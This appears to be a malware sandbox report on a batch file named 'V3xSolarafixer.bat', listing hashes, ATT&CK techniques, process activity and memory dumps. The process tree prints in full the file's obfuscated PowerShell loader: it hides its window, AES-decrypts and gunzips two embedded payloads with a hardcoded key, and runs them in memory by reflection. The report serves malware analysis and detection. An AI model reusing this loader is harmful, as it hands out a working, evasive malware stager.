60193565df3a7afe6f4bf343da48595a20bc8afed9d60f890b6a2d1c1ce8b65f

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 17:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

V3xSolarafixer.bat
Size

395KB
MD5

003edf4319e31d48f44daee2df888005
SHA1

bcd6f33116f746a10185af4d17cbf0357c11657b
SHA256

60193565df3a7afe6f4bf343da48595a20bc8afed9d60f890b6a2d1c1ce8b65f
SHA512

1e961d0bec6b7368d6f6732ca854c995f3caedd3e87fe3a809f5b263d866adc6146295e60fdb0216257b709ace3836241210617d6060cf8b56e74a9d5e52785e
SSDEEP

12288:NsUM5zunGyNyChna0ZF2NB6RjTQ+SXbBBoz9u:Ns3zuVZxZF2v0QntBr

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2740	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 3028 wrote to memory of 2888	3028	cmd.exe	31
PID 3028 wrote to memory of 2888	3028	cmd.exe	31
PID 3028 wrote to memory of 2888	3028	cmd.exe	31
PID 3028 wrote to memory of 2740	3028	cmd.exe	32
PID 3028 wrote to memory of 2740	3028	cmd.exe	32
PID 3028 wrote to memory of 2740	3028	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\V3xSolarafixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0AY9QqE64KYNO3BobF4rEV/9BwD+VjvRGEbrJkSp4fg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mrrNM2f8mYDdXAATgGNaVA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AQxCf=New-Object System.IO.MemoryStream(,$param_var); $ZqFkk=New-Object System.IO.MemoryStream; $PdtbZ=New-Object System.IO.Compression.GZipStream($AQxCf, [IO.Compression.CompressionMode]::Decompress); $PdtbZ.CopyTo($ZqFkk); $PdtbZ.Dispose(); $AQxCf.Dispose(); $ZqFkk.Dispose(); $ZqFkk.ToArray();}function execute_function($param_var,$param2_var){ $bWVGo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Kufeg=$bWVGo.EntryPoint; $Kufeg.Invoke($null, $param2_var);}$kXsdB = 'C:\Users\Admin\AppData\Local\Temp\V3xSolarafixer.bat';$host.UI.RawUI.WindowTitle = $kXsdB;$muZhB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kXsdB).Split([Environment]::NewLine);foreach ($lHFNb in $muZhB) { if ($lHFNb.StartsWith('HfjZxvAKjxumhUHaISov')) { $YXzqF=$lHFNb.Substring(20); break; }}$payloads_var=[string[]]$YXzqF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2740-4-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

Filesize
4KB

Download
memory/2740-6-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/2740-7-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-10-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-8-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2740-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-12-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

Filesize
4KB

Download
memory/2740-13-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download